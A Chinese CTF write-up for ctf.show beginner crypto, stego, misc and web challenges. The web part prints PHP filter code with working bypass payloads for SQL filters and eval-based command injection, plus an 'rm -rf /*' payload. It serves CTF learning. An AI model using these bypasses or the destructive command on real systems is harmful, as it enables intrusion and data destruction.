萌新题wp

一.萌新_密码1

1.打开题目发现是由0~9和A~F组成的,应该是16进制

53316C6B5A6A42684D3256695A44566A4E47526A4D5459774C5556375A6D49324D32566C4D4449354F4749345A6A526B4F48303D

2.尝试16进制转字符串,在线工具即可,得:

S1lkZjBhM2ViZDVjNGRjMTYwLUV7ZmI2M2VlMDI5OGI4ZjRkOH0=

3.一看就知道一定是base64加密,于是再一次上工具:

KYdf0a3ebd5c4dc160-E{fb63ee0298b8f4d8}

4.刚开始以为后面花括号里就是flag,结果不行,再看了一遍,发现里面有两个花括号,K,E,Y,恍然大悟,还有一层栅栏密码,猜想秘钥是2,在线解密一下,就出来了。

KEY{dffb06a33eeeb0d259c84bd8cf146d08-}

二.萌新_密码2

不得不说出题人脑洞是真大。。。

找了一圈键盘加密都不对,最后看了看大佬的wp,这才知道。。。

首先看题目rdcvbg 2qase3 6tghu7

为什么要分成三组呢,而且每组都是6个字符,那是因为在键盘上六个字符就会包围住一个字母

于是一组一组地看键盘,分别解出三个字母f,w,y

再用KEY{}包裹起来即为flag

三.萌新_密码3

1.打开题目 -- --- .-. ... . ..--.- .. ... ..--.- -.-. --- --- .-.. ..--.- -... ..- - ..--.- -... .- -.-. --- -. ..--.- .. ... ..--.- -.-. --- --- .-.. . .-. ..--.- -- -- -.. -.. -- -.. -- -.. -- -- -- -.. -.. -.. /-- -.. -- -.. -.. --/ -- -- -- -- -- /-- -.. -.. -- -.. -- /--  -.. -.. -- 发现像是摩斯密码,但是题目又提示培根密码,管他呢,先摩斯密码解密一下

MORSEISCOOLBUTBACONISCOOLERMMDDMDMDMMMDDDDMDDMMMMMDDMDMDDM

2.由于培根密码是由两个不同的字母组成,于是将后面MMDDMDMDMMMDDDDMDDMMMMMDDMDMDDM分离出来,将M换成A,D换成B,培根解密得:

GUOWANG

3.用flag{}包裹即可

四.萌新 隐写2

打开为一个加密的压缩包,又提示说90后,于是直接用ARCHPR爆破,范围为19900101到19991231,很快便爆破出来,然后直接打开flag文件,即得flag

五.萌新 隐写4

打开发现是一个dox文档,只有一张图片,但hint又说图片没有,这下真的没办法了就去看了wp

看完后,我只能长叹一声,还有这种操作

直接在word文档中选择 文件——工具——选项

然后选中显示隐藏文字,就好了。。。

六.萌新 密码#4 

打开题目为QW8obWdIWF5FKUFSQW5URihKXWZAJmx0OzYiLg==

有点像base64,于是先解个密,得到

Ao(mgHX^E)ARAnTF(J]f@<6".

提示又说是比base64更大的加密,于是我只能一个个地去试了,但是上面那样是不行的,要将&1t;换成<,再去base85解密,才得到flag{base_base_base}

七.萌新 隐写3

打开图片就有了。。。

八.杂项1

由题意可知,将ed400fbcff269bd9c65292a97488168a在线解密一下,再减去后面的ctf就好了

注意我原来用的那个网址好像还不行,要用它提示的那个https://www.somd5.com/解出flag{hello}

九.杂项2

打开图片,放到16进制编辑器中拖到末尾就是flag

记录一下网址,以备不时之需https://www.lanzoui.com/i9h1lfi

十.萌新 杂项3

刚开始没注意银行卡密码是六位数字,所以走了好多弯路,最后借助师傅的wp才解出

首先,生日是97年10月1,又告诉名字叫小五,密码是六位数

不难猜出应该是971015

十一.杂项4

打开一看就应该是压缩包加密解密,而且告诉了范围:九位数字,前三位为372,于是就从372000000到372999999,用ARCHPR很快就爆破出密码为372619038就是flag

十二.杂项5

打开文件,发现最后有一长串可疑字符,并且每隔一段距离就变大写,加上前几个大写字母刚好为FLAG,就想到把所有的大写字母拼起来,就是flag,

于是写了个脚本:

s = 'i was always Fond of visiting new scenes, and observing strange characters and manners.' \
'even when a mere chiLd i began my travels,' \
' and made mAny tours of discovery into foreiGn {parts and unknown regions of my native City, ' \
'to the frequent alarm of my parents, ' \
'and The emolument of the town-crier. as i grew into boyhood, i extended the range oF my obServations. ' \
'my holiday afternoons were spent in rambles about tHe surrounding cOuntry. i made myself familiar ' \
'With all its places famous in history or fable. i kNew every spot where a murder or robbery had been committed,' \
' or a ghost seen. i visited the neighboring villages, and added greatly to my stock of knowledge,' \
'By noting their habits and customs, and conversing with their sages and great men.}'
flag = ''
for i in range(0, len(s)):
if s[i] == '{' or s[i] == '}':
flag += s[i]
elif s[i] >= 'A' and s[i] <= 'Z':
flag += chr(ord(s[i]) + 32)
print(flag)

跑了一下,flag就出来了flag{ctfshownb}

十三.杂项6

看题目应该是伪加密,用16进制编辑器打开,找到50 4b 01 02也就是压缩包文件头,然后修改加密方式,也就是08前面的两位都为00 00就对了

保存——打开——flag{c_t_f_s_h_o_w}

十四.杂项7

小明的梦想果然很朴素。。。

打开为png图片,直接用hxd打开,修改高就行了,如图:

第二行前四位是宽,后四位是高,如果不知道修改多少,不妨修改地大一点,嘿嘿

然后flag就出来了flag{beautiful}

十五.杂项8

把图片用010editor打开,把宽03改为02,保存再打开就得到flag了

十六.杂项10

笑死我了,哈哈哈

果真是把眼镜一摘,就看到了,实在不行,直接把图片缩小

flag{我好喜欢你}

十七.杂项11

刚开始想不用它那个工具,直接用以前的工具解出来的,可惜试了半天,貌似不行,最后只好妥协用https://www.lanzoui.com/i9hm2di打开,然后保存为png格式,是张二维码,用PsQREdit扫一下,发现是一个链接https://ctf.show/?ZmxhZ3vmiJjnpZ7lvZLmnaXlj5HnjrDoh6rlt7HlhL/lrZDlnKjliLfpopjvvIzkuIDmgJLkuYvkuIvlj6zllKQxMOS4h+WwhuWjq+adpeaKpeS7h30=

直接将问号后面的部分base64解密一下

flag{战神归来发现自己儿子在刷题,一怒之下召唤10万将士来报仇}

十八.隐写1

好像题目的原因,图片打开不了

十九.隐写2

工具和上一题是一样的,但是这次将图片拖进去后,它下面显示了一行

就将它保存为1.txt文件

里面就是flag

二十.萌新隐写5

附件打开如上

上面那串很奇怪,于是关键字搜索了一下,发现是unicode编码,在线解码一下

看到网上师傅说什么16进制转字符串,一脸懵,?16进制,在哪儿呢?

然后百度了一下\uxxxx,发现这后面四位就是16进制编码,然后在线16进制转字符串:

惊喜地看到后面六个等号,是标准的base32编码形式

然后就简单了,base32解密一下,flag就出来了

flag(hao_jiu_bu_yong_b32_)

不知道为什么答案就是圆括号

二十一.萌新隐写6

音频文件,用audacity打开,发现上面有可疑的一串

应该是摩斯电码,将图像放大,可以更清楚地看到,用摩斯电码表示出来就是-- ..- --.. .. -.- .. ... --. ----- ----- -..

在线解密得到

muzikisg00d

flag出来了

二十二.web1~4

虽然过滤了,但又没过滤,总之,过滤的都是些没用的东西

直接payload:/?id='1000'就好了

二十三.web5

<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
}
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}
}else{
highlight_file(__FILE__);
}
?>
</body>
<!-- flag in id = 1000 -->
</html>

这次过滤了‘,所以不能用'1000',但是可以用144^888的按位异或构造payload:/?id=144^888得到flag

按位异或,即比较每个操作数的二进制位,相同置为0,不同置为1

0^0 = 0
1^0 = 1
0^1 = 1
1^1 = 0
即同为假,异为真

二十四.web6

这几题好多都要用到位运算,特此科普了一下位运算

主要代码段if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|\(|\)|\+|select/i",$id))

没有过滤~取反运算,所以只要两次取反1000就好

构造payload:/?id=~~1000

二十五.web7

主要代码段if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id))

这次用二进制绕过,0b1111101000

二十六.web8

结合题目,删库跑路了

“rm -rf /” 或者“rm -rf /*”命令都会删除Linux根目录下的所有文件,直接导致服务器瘫痪

构造payload:/?flag=rm -rf /*

二十七.web9

这题有点坑,它是匹配到/system|exec|highlight/i,才会执行c,所以就好办了

直接上payload:/?c=highlight_file('config.php');要记住加分号

然后flag就出来了

二十八.web10

这题和上面一题相反,直接过滤了上面的字符,所以这题直接拼接过滤就好了

构造payload:/?c=$a=sys;$b=tem;$d=$a.$b;$d('cat config.php');

再在源码里找到flag

二十九.web11

关键代码if(!preg_match("/system|exec|highlight|cat/i",$c))这题在上面一题的基础上过滤了cat

但是搜一搜,发现linux中有很多可以替代cat的命令如 tac、more、less、head、tail、nl、sed、sort、uniq,我试过,其中只有tac和sort是直接在页面中显示flag,其他除了sed都是在源码中展示,而sed不知道为什么出现错误

还可以单引号或者双引号或者反斜杠绕过cat,如:

 system('ca""t config.php')  system("ca''t config.php")

都是可以的

三十.web12

关键代码if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c))过滤了一些系统命令,和config和php

但是还有其他的系统命令执行函数如下:

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

可以用反引号过滤``,在linux中反引号的作用是引号内的命令先执行,然后将执行结果赋予变量,payload如下:

/?c=passthru("ca''t `ls`");

或者base64加密来过滤,payload如下:

/?c=$a=base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);

三十一.web13

if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c))

这次连;都过滤了,所以只能执行一条语句,因为是eval()函数,所以可以用?>来闭合语句,除了上一题的/?c=passthru("ca''t `ls`")?>还可以用assert()函数

payload:/?c=assert(base64_decode(%27c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp%27))?>

flag就出来了

三十二.web14

if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c))

这次过滤地是真彻底,这题也有点意思,过滤了括号,所以那些命令基本上都不能用了,上payload:

/?c=echo`$_POST[1]`?>

然后还要post传参1=cat config.php,查看源码就得到flag了

三十三.web15

if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c))

这次虽然过滤了尖括号,但是没有过滤分号,所以构造payload还和上题差不多:

/?c=echo`$_POST[1]`;

然后POST传参1=cat config.php

查看源码就得到flag

三十四.web16

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){
echo $flag;
}else{
echo "nonono!";
}
}else{
highlight_file(__FILE__);
}
?>

看代码,就像解方程似的,只要逆回去就好了,它首先将ctfshow$c md5加密一下,如果等于后面那一串就得到flag

所以就是将那一串md5解密一下,得到ctfshow36d,所以得到c=36d,直接payload:

/?c=36d就得到flag

 

 

 

 

 

 

 

 

 

 

posted @   Athena-ydy  阅读(792)  评论(0编辑  收藏  举报
编辑推荐:
· 没有源码,如何修改代码逻辑?
· 一个奇形怪状的面试题:Bean中的CHM要不要加volatile?
· [.NET]调用本地 Deepseek 模型
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· .NET Core 托管堆内存泄露/CPU异常的常见思路
阅读排行:
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· 没有源码,如何修改代码逻辑?
· NetPad:一个.NET开源、跨平台的C#编辑器
· PowerShell开发游戏 · 打蜜蜂
· 凌晨三点救火实录:Java内存泄漏的七个神坑,你至少踩过三个!
点击右上角即可分享
微信分享提示